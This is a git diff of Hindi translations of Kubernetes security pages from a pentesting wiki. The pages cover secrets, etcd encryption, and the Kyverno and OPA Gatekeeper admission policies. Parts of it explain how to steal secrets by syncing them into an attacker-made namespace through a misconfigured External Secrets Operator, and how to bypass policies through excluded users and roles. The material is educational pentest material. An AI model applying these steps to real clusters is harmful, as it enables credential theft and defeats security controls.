यह बाहरी सेवाओं का उपयोग करके भी किया जा सकता है, लेकिन यह एप्लिकेशन को उजागर करने का सही तरीका है। - यदि आप एक Ingress लागू करते हैं तो आपको **Ingress Controllers** बनाने की आवश्यकता होगी। Ingress Controller एक **पॉड** है जो वह अंत बिंदु होगा जो अनुरोध प्राप्त करेगा और उन्हें जांचेगा और सेवाओं के लिए लोड संतुलित करेगा। Ingress Controller **कॉन्फ़िगर किए गए इनग्रेस नियमों के आधार पर अनुरोध भेजेगा**। ध्यान दें कि इनग्रेस नियम विभिन्न पथों या यहां तक कि विभिन्न आंतरिक Kubernetes सेवाओं के लिए उपडोमेन की ओर इशारा कर सकते हैं। - एक बेहतर सुरक्षा प्रथा यह होगी कि किसी भी Kubernetes क्लस्टर के भाग को उजागर न करने के लिए एक क्लाउड लोड बैलेंसर या प्रॉक्सी सर्वर का उपयोग किया जाए। - जब कोई अनुरोध प्राप्त होता है जो किसी भी इनग्रेस नियम से मेल नहीं खाता है, तो इनग्रेस कंट्रोलर इसे "**डिफ़ॉल्ट बैकएंड**" की ओर निर्देशित करेगा। आप इस पैरामीटर के पते को प्राप्त करने के लिए इनग्रेस कंट्रोलर का `describe` कर सकते हैं। @@ -70,7 +68,7 @@ ### Minikube -**Minikube** का उपयोग Kubernetes पर कुछ **त्वरित परीक्षण** करने के लिए किया जा सकता है बिना पूरे Kubernetes वातावरण को तैनात किए। यह **एक मशीन में मास्टर और नोड प्रक्रियाओं को चलाएगा**। Minikube नोड चलाने के लिए वर्चुअलबॉक्स का उपयोग करेगा। [**यहां देखें कि इसे कैसे स्थापित करें**](https://minikube.sigs.k8s.io/docs/start/)। +**Minikube** का उपयोग कुछ **त्वरित परीक्षण** करने के लिए किया जा सकता है Kubernetes पर बिना पूरे Kubernetes वातावरण को तैनात किए। यह **एक मशीन में मास्टर और नोड प्रक्रियाओं को चलाएगा**। Minikube नोड चलाने के लिए वर्चुअल बॉक्स का उपयोग करेगा। [**यहां देखें कि इसे कैसे स्थापित करें**](https://minikube.sigs.k8s.io/docs/start/)। ``` $ minikube start 😄 minikube v1.19.0 on Ubuntu 20.04 @@ -153,12 +151,12 @@ minikube dashboard --url 🤔 Verifying proxy health ... http://127.0.0.1:50034/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/ ``` -### YAML कॉन्फ़िगरेशन फ़ाइलों के उदाहरण +### YAML configuration files examples प्रत्येक कॉन्फ़िगरेशन फ़ाइल में 3 भाग होते हैं: **metadata**, **specification** (क्या लॉन्च करना है), **status** (इच्छित स्थिति)।\ -डिप्लॉयमेंट कॉन्फ़िगरेशन फ़ाइल की स्पेसिफिकेशन के अंदर आप टेम्पलेट पा सकते हैं जो चलाने के लिए इमेज को परिभाषित करने के लिए एक नई कॉन्फ़िगरेशन संरचना के साथ परिभाषित है: +डिप्लॉयमेंट कॉन्फ़िगरेशन फ़ाइल की स्पेसिफिकेशन के अंदर आप एक टेम्पलेट पा सकते हैं जो चलाने के लिए इमेज को परिभाषित करने के लिए एक नई कॉन्फ़िगरेशन संरचना के साथ परिभाषित है: -**एक ही कॉन्फ़िगरेशन फ़ाइल में घोषित Deployment + Service का उदाहरण (से** [**यहाँ**](https://gitlab.com/nanuchi/youtube-tutorial-series/-/blob/master/demo-kubernetes-components/mongo.yaml)**)** +**Example of Deployment + Service declared in the same configuration file (from** [**here**](https://gitlab.com/nanuchi/youtube-tutorial-series/-/blob/master/demo-kubernetes-components/mongo.yaml)**)** चूंकि एक सेवा आमतौर पर एक डिप्लॉयमेंट से संबंधित होती है, इसलिए दोनों को एक ही कॉन्फ़िगरेशन फ़ाइल में घोषित करना संभव है (इस कॉन्फ़िगरेशन में घोषित सेवा केवल आंतरिक रूप से सुलभ है): ```yaml @@ -227,7 +225,7 @@ targetPort: 8081 nodePort: 30000 ``` > [!NOTE] -> यह परीक्षण के लिए उपयोगी है लेकिन उत्पादन के लिए आपके पास केवल आंतरिक सेवाएँ और एप्लिकेशन को उजागर करने के लिए एक Ingress होना चाहिए। +> यह परीक्षण के लिए उपयोगी है लेकिन उत्पादन के लिए आपको केवल आंतरिक सेवाएँ और एप्लिकेशन को उजागर करने के लिए एक Ingress होना चाहिए। **Ingress कॉन्फ़िग फ़ाइल का उदाहरण** @@ -262,7 +260,7 @@ mongo-root-password: cGFzc3dvcmQ= ``` **ConfigMap का उदाहरण** -एक **ConfigMap** वह कॉन्फ़िगरेशन है जो पॉड्स को दिया जाता है ताकि वे जान सकें कि अन्य सेवाओं को कैसे ढूंढना और उन तक पहुंचना है। इस मामले में, प्रत्येक पॉड को पता होगा कि नाम `mongodb-service` एक पॉड का पता है जिसके साथ वे संवाद कर सकते हैं (यह पॉड एक mongodb निष्पादित करेगा): +A **ConfigMap** वह कॉन्फ़िगरेशन है जो पॉड्स को दिया जाता है ताकि वे जान सकें कि अन्य सेवाओं को कैसे ढूंढना और उन तक पहुंचना है। इस मामले में, प्रत्येक पॉड को पता होगा कि नाम `mongodb-service` एक पॉड का पता है जिसके साथ वे संवाद कर सकते हैं (यह पॉड एक mongodb निष्पादित करेगा): ```yaml apiVersion: v1 kind: ConfigMap @@ -292,18 +290,18 @@ name: mongodb-configmap key: database_url [...] ``` -**वॉल्यूम कॉन्फ़िगरेशन का उदाहरण** +**Example of volume config** आप विभिन्न स्टोरेज कॉन्फ़िगरेशन yaml फ़ाइलों के उदाहरण [https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes](https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes) में पा सकते हैं।\ -**ध्यान दें कि वॉल्यूम नामस्थान के अंदर नहीं हैं** +**ध्यान दें कि वॉल्यूम नामस्पेस के अंदर नहीं होते हैं** -### नामस्थान +### Namespaces -Kubernetes **एक ही भौतिक क्लस्टर** द्वारा समर्थित **कई आभासी क्लस्टर** का समर्थन करता है। इन आभासी क्लस्टरों को **नामस्थान** कहा जाता है। ये उन वातावरणों में उपयोग के लिए बनाए गए हैं जहाँ कई उपयोगकर्ता कई टीमों या परियोजनाओं में फैले हुए हैं। कुछ से लेकर दर्जनों उपयोगकर्ताओं वाले क्लस्टरों के लिए, आपको नामस्थान बनाने या उनके बारे में सोचने की आवश्यकता नहीं होनी चाहिए। आपको केवल नामस्थान का उपयोग करना शुरू करना चाहिए ताकि Kubernetes में तैनात प्रत्येक भाग के बेहतर नियंत्रण और संगठन हो सके। +Kubernetes **एक ही भौतिक क्लस्टर** द्वारा समर्थित **कई वर्चुअल क्लस्टर** का समर्थन करता है। इन वर्चुअल क्लस्टरों को **namespaces** कहा जाता है। ये उन वातावरणों में उपयोग के लिए हैं जहां कई उपयोगकर्ता कई टीमों या परियोजनाओं में फैले हुए हैं। कुछ से लेकर दर्जनों उपयोगकर्ताओं वाले क्लस्टरों के लिए, आपको नामस्पेस बनाने या उनके बारे में सोचने की आवश्यकता नहीं होनी चाहिए। आपको केवल नामस्पेस का उपयोग करना शुरू करना चाहिए ताकि आप kubernetes में तैनात प्रत्येक भाग के बेहतर नियंत्रण और संगठन प्राप्त कर सकें। -नामस्थान नामों के लिए एक दायरा प्रदान करते हैं। संसाधनों के नाम को एक नामस्थान के भीतर अद्वितीय होना चाहिए, लेकिन नामस्थानों के बीच नहीं। नामस्थान एक-दूसरे के अंदर नहीं हो सकते और **प्रत्येक** Kubernetes **संसाधन** केवल **एक** **नामस्थान** में ही हो सकता है। +Namespaces नामों के लिए एक दायरा प्रदान करते हैं। संसाधनों के नाम को एक नामस्पेस के भीतर अद्वितीय होना चाहिए, लेकिन नामस्पेस के बीच नहीं। Namespaces को एक-दूसरे के अंदर नेस्ट नहीं किया जा सकता है और **प्रत्येक** Kubernetes **संसाधन** केवल **एक** **नामस्पेस** में ही हो सकता है। -यदि आप मिनीक्यूब का उपयोग कर रहे हैं तो डिफ़ॉल्ट रूप से 4 नामस्थान हैं: +यदि आप minikube का उपयोग कर रहे हैं तो डिफ़ॉल्ट रूप से 4 नामस्पेस होते हैं: ``` kubectl get namespace NAME STATUS AGE @@ -321,7 +319,7 @@ kube-system Active 1d kubectl create namespace my-namespace ``` > [!NOTE] -> ध्यान दें कि अधिकांश Kubernetes संसाधन (जैसे pods, services, replication controllers, और अन्य) कुछ namespaces में होते हैं। हालाँकि, अन्य संसाधन जैसे namespace संसाधन और निम्न-स्तरीय संसाधन, जैसे nodes और persistenVolumes एक namespace में नहीं होते हैं। यह देखने के लिए कि कौन से Kubernetes संसाधन एक namespace में हैं और कौन से नहीं हैं: +> ध्यान दें कि अधिकांश Kubernetes संसाधन (जैसे pods, services, replication controllers, और अन्य) कुछ namespaces में होते हैं। हालाँकि, namespace संसाधनों और निम्न-स्तरीय संसाधनों, जैसे nodes और persistentVolumes, जैसे अन्य संसाधन namespace में नहीं होते हैं। यह देखने के लिए कि कौन से Kubernetes संसाधन namespace में हैं और कौन से नहीं: > > ```bash > kubectl api-resources --namespaced=true #In a namespace @@ -340,19 +338,19 @@ helm search ``` Helm एक टेम्पलेट इंजन भी है जो वेरिएबल के साथ कॉन्फ़िग फ़ाइलें उत्पन्न करने की अनुमति देता है: -## Kubernetes रहस्य +## Kubernetes secrets एक **Secret** एक ऑब्जेक्ट है जो **संवेदनशील डेटा** जैसे पासवर्ड, टोकन या कुंजी को **धारण** करता है। ऐसी जानकारी अन्यथा एक Pod स्पेसिफिकेशन या एक इमेज में रखी जा सकती है। उपयोगकर्ता Secrets बना सकते हैं और सिस्टम भी Secrets बनाता है। एक Secret ऑब्जेक्ट का नाम एक मान्य **DNS उपडोमेन नाम** होना चाहिए। यहाँ पढ़ें [the official documentation](https://kubernetes.io/docs/concepts/configuration/secret/)। -Secrets कुछ इस प्रकार हो सकते हैं: +Secrets में निम्नलिखित चीजें हो सकती हैं: - API, SSH Keys। -- OAuth टोकन। -- क्रेडेंशियल्स, पासवर्ड (सादा पाठ या b64 + एन्क्रिप्शन)। +- OAuth tokens। +- Credentials, Passwords (plain text या b64 + encryption)। - जानकारी या टिप्पणियाँ। - डेटाबेस कनेक्शन कोड, स्ट्रिंग्स…। -Kubernetes में रहस्यों के विभिन्न प्रकार हैं +Kubernetes में विभिन्न प्रकार के secrets होते हैं | Builtin Type | Usage | | ----------------------------------- | ----------------------------------------- | @@ -362,17 +360,17 @@ Kubernetes में रहस्यों के विभिन्न प् | kubernetes.io/dockerconfigjson | अनुक्रमित \~/.docker/config.json फ़ाइल | | kubernetes.io/basic-auth | मूल प्रमाणीकरण के लिए क्रेडेंशियल्स | | kubernetes.io/ssh-auth | SSH प्रमाणीकरण के लिए क्रेडेंशियल्स | -| kubernetes.io/tls | एक TLS क्लाइंट या सर्वर के लिए डेटा | +| kubernetes.io/tls | TLS क्लाइंट या सर्वर के लिए डेटा | | bootstrap.kubernetes.io/token | बूटस्ट्रैप टोकन डेटा | > [!NOTE] -> **Opaque प्रकार डिफ़ॉल्ट है, यह उपयोगकर्ताओं द्वारा परिभाषित सामान्य कुंजी-मूल्य जोड़ी है।** +> **Opaque प्रकार डिफ़ॉल्ट है, उपयोगकर्ताओं द्वारा परिभाषित सामान्य कुंजी-मूल्य जोड़ा।** **Secrets कैसे काम करते हैं:** ![](https://sickrov.github.io/media/Screenshot-164.jpg) -निम्नलिखित कॉन्फ़िगरेशन फ़ाइल एक **secret** को परिभाषित करती है जिसे `mysecret` कहा जाता है जिसमें 2 कुंजी-मूल्य जोड़े `username: YWRtaW4=` और `password: MWYyZDFlMmU2N2Rm` होते हैं। यह एक **pod** को भी परिभाषित करता है जिसे `secretpod` कहा जाता है जो `mysecret` में परिभाषित `username` और `password` को **पर्यावरण चर** `SECRET_USERNAME` \_\_ और \_\_ `SECRET_PASSWOR` में उजागर करेगा। यह `0640` अनुमतियों के साथ `mysecret` के अंदर `username` रहस्य को `/etc/foo/my-group/my-username` पथ में भी **माउंट** करेगा। +निम्नलिखित कॉन्फ़िगरेशन फ़ाइल एक **secret** को परिभाषित करती है जिसे `mysecret` कहा जाता है जिसमें 2 कुंजी-मूल्य जोड़े `username: YWRtaW4=` और `password: MWYyZDFlMmU2N2Rm` होते हैं। यह एक **pod** को भी परिभाषित करता है जिसे `secretpod` कहा जाता है जो `mysecret` में परिभाषित `username` और `password` को **environment variables** `SECRET_USERNAME` \_\_ और \_\_ `SECRET_PASSWOR` में प्रदर्शित करेगा। यह `mysecret` में `username` secret को `/etc/foo/my-group/my-username` पथ में `0640` अनुमतियों के साथ **mount** करेगा। ```yaml:secretpod.yaml apiVersion: v1 kind: Secret @@ -424,7 +422,7 @@ env | grep SECRET && cat /etc/foo/my-group/my-username && echo ``` ### Secrets in etcd -**etcd** एक सुसंगत और उच्च-उपलब्ध **की-मान भंडार** है जो सभी क्लस्टर डेटा के लिए Kubernetes बैकिंग स्टोर के रूप में उपयोग किया जाता है। चलिए etcd में संग्रहीत रहस्यों तक पहुँचते हैं: +**etcd** एक सुसंगत और उच्च उपलब्धता वाला **की-मान भंडार** है जो सभी क्लस्टर डेटा के लिए Kubernetes बैकिंग स्टोर के रूप में उपयोग किया जाता है। चलिए etcd में संग्रहीत रहस्यों तक पहुँचते हैं: ```bash cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep etcd ``` @@ -456,7 +454,7 @@ keys: secret: cjjPMcWpTPKhAdieVtd+KhG4NN+N6e3NmBPMXJvbfrY= #Any random key - identity: {} ``` -उसके बाद, आपको `kube-apiserver` पर `--encryption-provider-config` ध्वज सेट करना होगा ताकि यह बनाए गए कॉन्फ़िग फ़ाइल के स्थान की ओर इशारा करे। आप `/etc/kubernetes/manifest/kube-apiserver.yaml` को संशोधित कर सकते हैं और निम्नलिखित पंक्तियाँ जोड़ सकते हैं: +इसके बाद, आपको `kube-apiserver` पर `--encryption-provider-config` ध्वज सेट करना होगा ताकि यह बनाए गए कॉन्फ़िग फ़ाइल के स्थान की ओर इशारा करे। आप `/etc/kubernetes/manifest/kube-apiserver.yaml` को संशोधित कर सकते हैं और निम्नलिखित पंक्तियाँ जोड़ सकते हैं: ```yaml containers: - command: @@ -478,9 +476,9 @@ name: etcd ``` **डेटा के एन्क्रिप्टेड होने की पुष्टि करना** -डेटा को etcd में लिखते समय एन्क्रिप्ट किया जाता है। अपने `kube-apiserver` को पुनरारंभ करने के बाद, कोई भी नया या अपडेट किया गया सीक्रेट स्टोर करते समय एन्क्रिप्ट किया जाना चाहिए। जांचने के लिए, आप अपने सीक्रेट की सामग्री को पुनः प्राप्त करने के लिए `etcdctl` कमांड लाइन प्रोग्राम का उपयोग कर सकते हैं। +डेटा को etcd में लिखते समय एन्क्रिप्ट किया जाता है। अपने `kube-apiserver` को पुनः प्रारंभ करने के बाद, कोई भी नया या अपडेट किया गया सीक्रेट स्टोर करते समय एन्क्रिप्ट किया जाना चाहिए। जांचने के लिए, आप अपने सीक्रेट की सामग्री को पुनः प्राप्त करने के लिए `etcdctl` कमांड लाइन प्रोग्राम का उपयोग कर सकते हैं। -1. `default` नामस्थान में `secret1` नामक एक नया सीक्रेट बनाएं: +1. `default` नामस्थान में `secret1` नाम का एक नया सीक्रेट बनाएं: ``` kubectl create secret generic secret1 -n default --from-literal=mykey=mydata @@ -508,7 +506,7 @@ kubectl get secrets --all-namespaces -o json | kubectl replace -f - **अंतिम सुझाव:** - FS में रहस्य रखने से बचें, उन्हें अन्य स्थानों से प्राप्त करें। -- अपने रहस्यों को और अधिक सुरक्षा देने के लिए [https://www.vaultproject.io/](https://www.vaultproject.io) पर जाएं। +- अपने रहस्यों की सुरक्षा बढ़ाने के लिए [https://www.vaultproject.io/](https://www.vaultproject.io) पर जाएं। - [https://kubernetes.io/docs/concepts/configuration/secret/#risks](https://kubernetes.io/docs/concepts/configuration/secret/#risks) - [https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm](https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm) diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-external-secrets-operator.md b/src/pentesting-cloud/kubernetes-security/kubernetes-external-secrets-operator.md index bf839f959..082372f19 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-external-secrets-operator.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-external-secrets-operator.md @@ -1,12 +1,14 @@ # External Secret Operator +{{#include ../../banners/hacktricks-training.md}} + **इस पृष्ठ के मूल लेखक हैं** [**Fares**](https://www.linkedin.com/in/fares-siala/) यह पृष्ठ कुछ संकेत देता है कि आप कैसे एक गलत कॉन्फ़िगर किए गए ESO या एप्लिकेशन से रहस्यों को चुरा सकते हैं जो अपने रहस्यों को समन्वयित करने के लिए ESO का उपयोग करता है। ## अस्वीकरण -नीचे दिखाए गए तकनीक केवल तभी काम कर सकती है जब कुछ परिस्थितियाँ पूरी हों। उदाहरण के लिए, यह उस आवश्यकता पर निर्भर करता है जो एक रहस्य को आपके द्वारा स्वामित्व / समझौता किए गए namespace पर समन्वयित करने की अनुमति देती है। आपको इसे स्वयं पता करना होगा। +नीचे दिखाए गए तकनीक केवल तभी काम कर सकती है जब कुछ परिस्थितियाँ पूरी हों। उदाहरण के लिए, यह उस आवश्यकता पर निर्भर करता है जो एक रहस्य को आपके द्वारा स्वामित्व / समझौता किए गए namespace पर समन्वयित करने की अनुमति देती है। आपको इसे स्वयं समझना होगा। ## पूर्वापेक्षाएँ @@ -16,7 +18,7 @@ ### मौजूदा ClusterSecretStore के बारे में जानकारी इकट्ठा करना -मान लीजिए कि आपके पास इस संसाधन को पढ़ने के लिए पर्याप्त अधिकार वाले उपयोगकर्ता हैं; पहले मौजूदा _**ClusterSecretStores**_ की सूची बनाकर शुरू करें। +मान लेते हैं कि आपके पास एक उपयोगकर्ता है जिसके पास इस संसाधन को पढ़ने के लिए पर्याप्त अधिकार हैं; पहले मौजूदा _**ClusterSecretStores**_ की सूची बनाकर शुरू करें। ```sh kubectl get ClusterSecretStore ``` @@ -34,7 +36,7 @@ kubectl get externalsecret myexternalsecret -n mynamespace -o yaml ``` ### टुकड़ों को इकट्ठा करना -यहां से आप एक या एक से अधिक गुप्त नाम (जैसे कि Secret संसाधन में परिभाषित) प्राप्त कर सकते हैं। आपको एक आउटपुट मिलेगा जो इस तरह का होगा: +यहां से आप एक या एक से अधिक गुप्त नाम (जैसे कि Secret संसाधन में परिभाषित) प्राप्त कर सकते हैं। आपको एक आउटपुट मिलेगा जो इस प्रकार होगा: ```yaml kind: ExternalSecret metadata: @@ -55,9 +57,9 @@ secretKey: SOME_PASSWORD - एक ClusterSecretStore का नाम - एक ExternalSecret का नाम -- गुप्त का नाम +- सीक्रेट का नाम -अब जब हमारे पास सब कुछ है, आप एक ExternalSecret बना सकते हैं (और अंततः आवश्यकताओं के अनुसार अपने नए गुप्त को समन्वयित करने के लिए एक नया Namespace पैच/बनाने के लिए): +अब जब हमारे पास सब कुछ है, आप एक ExternalSecret बना सकते हैं (और अंततः आवश्यकताओं के अनुसार एक नया Namespace पैच/बनाने के लिए अपने नए सीक्रेट को सिंक करने के लिए): ```yaml kind: ExternalSecret metadata: @@ -91,7 +93,7 @@ required_label: somevalue other_required_label: someothervalue name: evilnamespace ``` -कुछ मिनटों के बाद, यदि समन्वय की शर्तें पूरी हो गईं, तो आपको अपने नामस्थान के अंदर लीक किया गया रहस्य देखने में सक्षम होना चाहिए। +कुछ मिनटों के बाद, यदि समन्वय की शर्तें पूरी हो गईं, तो आपको अपने नामस्थान के अंदर लीक हुआ रहस्य देखने में सक्षम होना चाहिए। ```sh kubectl get secret leaked_secret -o yaml ``` @@ -104,3 +106,7 @@ https://external-secrets.io/latest/ {{#ref}} https://github.com/external-secrets/external-secrets {{#endref}} + + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-kyverno/README.md b/src/pentesting-cloud/kubernetes-security/kubernetes-kyverno/README.md index addeab487..1d7f6a688 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-kyverno/README.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-kyverno/README.md @@ -1,18 +1,20 @@ # Kubernetes Kyverno +{{#include ../../../banners/hacktricks-training.md}} + **इस पृष्ठ के मूल लेखक हैं** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196) -## परिभाषा +## परिभाषा -Kyverno एक ओपन-सोर्स, नीति प्रबंधन ढांचा है जो Kubernetes के लिए संगठनों को अपनी पूरी Kubernetes अवसंरचना में नीतियों को परिभाषित, लागू और ऑडिट करने की अनुमति देता है। यह Kubernetes क्लस्टरों की सुरक्षा, अनुपालन और शासन प्रबंधन के लिए एक स्केलेबल, विस्तारित और अत्यधिक अनुकूलन योग्य समाधान प्रदान करता है। +Kyverno एक ओपन-सोर्स, नीति प्रबंधन ढांचा है जो Kubernetes के लिए है, जो संगठनों को अपनी पूरी Kubernetes अवसंरचना में नीतियों को परिभाषित, लागू और ऑडिट करने में सक्षम बनाता है। यह Kubernetes क्लस्टरों की सुरक्षा, अनुपालन और शासन प्रबंधन के लिए एक स्केलेबल, विस्तारित और अत्यधिक अनुकूलन योग्य समाधान प्रदान करता है। ## उपयोग के मामले -Kyverno का उपयोग विभिन्न उपयोग के मामलों में किया जा सकता है, जिसमें: +Kyverno का उपयोग विभिन्न उपयोग के मामलों में किया जा सकता है, जिसमें शामिल हैं: -1. **नेटवर्क नीति लागू करना**: Kyverno का उपयोग नेटवर्क नीतियों को लागू करने के लिए किया जा सकता है, जैसे कि पॉड या सेवाओं के बीच ट्रैफ़िक को अनुमति देना या अवरुद्ध करना। +1. **नेटवर्क नीति प्रवर्तन**: Kyverno का उपयोग नेटवर्क नीतियों को लागू करने के लिए किया जा सकता है, जैसे कि पॉड या सेवाओं के बीच ट्रैफ़िक को अनुमति देना या अवरुद्ध करना। 2. **गुप्त प्रबंधन**: Kyverno का उपयोग गुप्त प्रबंधन नीतियों को लागू करने के लिए किया जा सकता है, जैसे कि गुप्तों को एक विशिष्ट प्रारूप या स्थान में संग्रहीत करने की आवश्यकता। -3. **पहुँच नियंत्रण**: Kyverno का उपयोग पहुँच नियंत्रण नीतियों को लागू करने के लिए किया जा सकता है, जैसे कि उपयोगकर्ताओं को कुछ संसाधनों तक पहुँचने के लिए विशिष्ट भूमिकाएँ या अनुमतियाँ रखने की आवश्यकता। +3. **एक्सेस नियंत्रण**: Kyverno का उपयोग एक्सेस नियंत्रण नीतियों को लागू करने के लिए किया जा सकता है, जैसे कि उपयोगकर्ताओं को कुछ संसाधनों तक पहुँचने के लिए विशिष्ट भूमिकाएँ या अनुमतियाँ होने की आवश्यकता। ## **उदाहरण: ClusterPolicy और नीति** @@ -49,6 +51,10 @@ validationFailureAction: enforce ``` जब `default` namespace में `app: myapp` लेबल के बिना एक pod बनाया जाता है, तो Kyverno अनुरोध को ब्लॉक कर देगा और एक त्रुटि संदेश लौटाएगा जो यह दर्शाता है कि pod नीति आवश्यकताओं को पूरा नहीं करता है। -## References +## संदर्भ * [https://kyverno.io/](https://kyverno.io/) + + + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-kyverno/kubernetes-kyverno-bypass.md b/src/pentesting-cloud/kubernetes-security/kubernetes-kyverno/kubernetes-kyverno-bypass.md index 4fc22734f..253fbaa49 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-kyverno/kubernetes-kyverno-bypass.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-kyverno/kubernetes-kyverno-bypass.md @@ -1,5 +1,7 @@ # Kubernetes Kyverno bypass +{{#include ../../../banners/hacktricks-training.md}} + **इस पृष्ठ के मूल लेखक हैं** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196) ## नीतियों की गलत कॉन्फ़िगरेशन का दुरुपयोग @@ -21,7 +23,7 @@ $ kubectl get policies - भूमिकाएँ: `excludedRoles` - क्लस्टर भूमिकाएँ: `excludedClusterRoles` -ये बाहर की गई संस्थाएँ नीति आवश्यकताओं से छूट जाएँगी, और Kyverno उनके लिए नीति को लागू नहीं करेगा। +ये बाहर की गई संस्थाएँ नीति आवश्यकताओं से छूट प्राप्त करेंगी, और Kyverno उनके लिए नीति को लागू नहीं करेगा। ## Example @@ -43,7 +45,7 @@ name: system:serviceaccount:TEST:thisisatest - kind: User name: system:serviceaccount:AHAH:* ``` -क्लस्टर के भीतर, कई अतिरिक्त घटक, ऑपरेटर और अनुप्रयोगों को क्लस्टर नीति से बाहर रखने की आवश्यकता हो सकती है। हालाँकि, इसका लाभ उठाया जा सकता है यदि विशेषाधिकार प्राप्त संस्थाओं को लक्षित किया जाए। कुछ मामलों में, यह प्रतीत हो सकता है कि एक नामस्थान मौजूद नहीं है या आपके पास एक उपयोगकर्ता का अनुकरण करने की अनुमति नहीं है, जो गलत कॉन्फ़िगरेशन का संकेत हो सकता है। +क्लस्टर के भीतर, कई अतिरिक्त घटक, ऑपरेटर और अनुप्रयोगों को क्लस्टर नीति से बाहर करने की आवश्यकता हो सकती है। हालाँकि, इसका लाभ उठाया जा सकता है यदि विशेषाधिकार प्राप्त संस्थाओं को लक्षित किया जाए। कुछ मामलों में, यह प्रतीत हो सकता है कि एक नामस्थान मौजूद नहीं है या आपके पास एक उपयोगकर्ता का अनुकरण करने की अनुमति नहीं है, जो गलत कॉन्फ़िगरेशन का संकेत हो सकता है। ## ValidatingWebhookConfiguration का दुरुपयोग @@ -56,3 +58,5 @@ name: system:serviceaccount:AHAH:* ## अधिक जानकारी अधिक जानकारी के लिए देखें [https://madhuakula.com/kubernetes-goat/docs/scenarios/scenario-22/securing-kubernetes-clusters-using-kyverno-policy-engine/welcome/](https://madhuakula.com/kubernetes-goat/docs/scenarios/scenario-22/securing-kubernetes-clusters-using-kyverno-policy-engine/welcome/) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/README.md b/src/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/README.md index 7a81a71c6..b878e5115 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/README.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/README.md @@ -1,12 +1,14 @@ # Kubernetes - OPA Gatekeeper +{{#include ../../../banners/hacktricks-training.md}} + **इस पृष्ठ के मूल लेखक हैं** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196) ## परिभाषा Open Policy Agent (OPA) Gatekeeper एक उपकरण है जिसका उपयोग Kubernetes में प्रवेश नीतियों को लागू करने के लिए किया जाता है। ये नीतियाँ OPA द्वारा प्रदान की गई Rego, एक नीति भाषा, का उपयोग करके परिभाषित की जाती हैं। नीचे OPA Gatekeeper का उपयोग करके नीति परिभाषा का एक बुनियादी उदाहरण दिया गया है: ```rego -regoCopy codepackage k8srequiredlabels +package k8srequiredlabels violation[{"msg": msg}] { provided := {label | input.review.object.metadata.labels[label]} @@ -63,10 +65,14 @@ labels: requiredLabel1: "true" requiredLabel2: "true" ``` -इस YAML उदाहरण में, हम लेबल की आवश्यकता के लिए एक **ConstraintTemplate** परिभाषित करते हैं। फिर, हम इस बाधा का नाम `ensure-pod-has-label` रखते हैं, जो `k8srequiredlabels` ConstraintTemplate को संदर्भित करता है और आवश्यक लेबल निर्दिष्ट करता है। +इस YAML उदाहरण में, हम **ConstraintTemplate** को लेबल की आवश्यकता के लिए परिभाषित करते हैं। फिर, हम इस बाधा का नाम `ensure-pod-has-label` रखते हैं, जो `k8srequiredlabels` ConstraintTemplate को संदर्भित करता है और आवश्यक लेबल निर्दिष्ट करता है। -जब Gatekeeper Kubernetes क्लस्टर में तैनात होता है, तो यह इस नीति को लागू करेगा, जिससे उन पॉड्स का निर्माण रोका जाएगा जिनके पास निर्दिष्ट लेबल नहीं हैं। +जब Gatekeeper Kubernetes क्लस्टर में तैनात होता है, तो यह इस नीति को लागू करेगा, उन पॉड्स के निर्माण को रोकते हुए जिनके पास निर्दिष्ट लेबल नहीं हैं। ## References * [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper) + + + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md b/src/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md index ea707fb52..51d112a1c 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md @@ -1,5 +1,7 @@ # Kubernetes OPA Gatekeeper बायपास +{{#include ../../../banners/hacktricks-training.md}} + **इस पृष्ठ के मूल लेखक हैं** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196) ## गलत कॉन्फ़िगरेशन का दुरुपयोग @@ -20,24 +22,24 @@ constrainttemplates $ kubectl get constrainttemplates $ kubectl get k8smandatorylabels ``` -#### GUI के साथ +#### With the GUI -एक ग्राफिक यूजर इंटरफेस भी **Gatekeeper Policy Manager** के साथ OPA नियमों तक पहुँचने के लिए उपलब्ध हो सकता है। यह "Kubernetes क्लस्टर में OPA Gatekeeper नीतियों की स्थिति देखने के लिए एक सरल _read-only_ वेब UI है।" +एक ग्राफ़िक यूज़र इंटरफ़ेस भी **Gatekeeper Policy Manager** के साथ OPA नियमों तक पहुँचने के लिए उपलब्ध हो सकता है। 